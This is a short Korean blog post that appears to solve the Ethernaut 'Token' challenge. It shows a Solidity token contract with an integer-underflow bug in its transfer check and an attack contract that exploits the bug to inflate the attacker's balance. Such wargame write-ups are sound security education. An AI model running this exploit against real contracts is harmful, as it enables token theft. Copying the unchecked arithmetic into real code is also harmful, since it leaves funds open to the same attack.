소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
목표
자신의 지갑 잔고를 늘려라.
방법
리믹스 IDE에서 다음과 같이 작성 후 배포 및 실행.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Token.sol";
contract TokenAttack {
address owner;
Token token;
constructor(address _tokenAdr) public {
owner = msg.sender;
token = Token(_tokenAdr);
}
function attack() public {
token.transfer(owner, 21);
}
}
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 7. Force (0) | 2022.05.31 |
---|---|
[Ethernaut] 6. Delegation (0) | 2022.05.30 |
[Ethernaut] 4. Telephone (0) | 2022.05.27 |
[Ethernaut] 3. Coin Flip (0) | 2022.05.25 |
[Ethernaut] 2. Fallout (0) | 2022.05.24 |